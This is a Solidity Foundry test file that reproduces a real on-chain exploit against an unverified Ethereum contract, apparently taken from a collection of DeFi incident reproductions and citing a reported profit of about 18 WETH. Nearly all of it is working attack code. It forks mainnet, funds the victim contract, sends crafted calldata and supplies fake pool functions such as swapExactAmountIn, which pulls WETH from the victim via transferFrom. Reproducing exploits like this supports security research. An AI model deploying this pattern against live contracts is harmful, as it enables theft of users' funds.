UnverifiedContr_0x00C409_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// TX : https://app.blocksec.com/explorer/tx/eth/0x998f1da472d927e74405b0aa1bbf5c1dbc50d74b39977bed3307ea2ada1f1d3f
// GUY : https://x.com/CyversAlerts/status/1780593407871635538
// Profit : ~18 WETH

contract ContractTest is Test {
    IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    address public vulnContract = 0x00C409001C1900DdCdA20000008E112417DB003b;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);

    event log_data(bytes data);

    function setUp() public {
        vm.createSelectFork("mainnet", 19_255_512);
    }

    function testExploit() external {
        deal(address(weth), address(this), 4704.1 ether);
        emit log_named_decimal_uint(
            "[End] Attacker weth balance before exploit", weth.balanceOf(address(this)), weth.decimals()
        );
        attack();
        emit log_named_decimal_uint(
            "[End] Attacker weth balance after exploit", weth.balanceOf(address(this)), weth.decimals()
        );
    }

    function attack() public {
        weth.withdraw(4704.1 ether);
        address(vulnContract).call{value: 4704.1 ether}("");
        bytes memory data = abi.encodeWithSelector(
            bytes4(0xba381f8f),
            0xffffffffffffffffff,
            0x01,
            address(this),
            address(this),
            0x00,
            0x00,
            0x00,
            address(this),
            0x01
        );
        emit log_data(data);
        // bytes memory data=hex"ba381f8f0000000000000000000000000000000000000000000000ffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000000000000000000000000000000000000000000001";
        vulnContract.call(data);
    }

    function getBalance(
        address token
    ) public view returns (uint256) {
        return 1;
    }

    function getbalance() public {
        emit log_named_decimal_uint("this token balance", weth.balanceOf(address(vulnContract)), weth.decimals());
    }

    function getReserves() public view returns (uint256, uint256, uint256) {
        return (1, 1, block.timestamp);
    }

    function calcOutGivenIn(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut,
        uint256 a,
        uint256 b,
        uint256 c
    ) public pure returns (uint256 amountOut) {
        return 1;
    }

    function swapExactAmountIn(
        address tokenIn,
        uint256 tokenAmountIn,
        address tokenOut,
        uint256 minAmountOut,
        uint256 maxPrice
    ) external returns (uint256, uint256) {
        weth.transferFrom(msg.sender, address(this), tokenAmountIn);
        return (0, 0);
    }

    function transfer(address to, uint256 value) public returns (bool) {
        return true;
    }

    fallback() external payable {}
}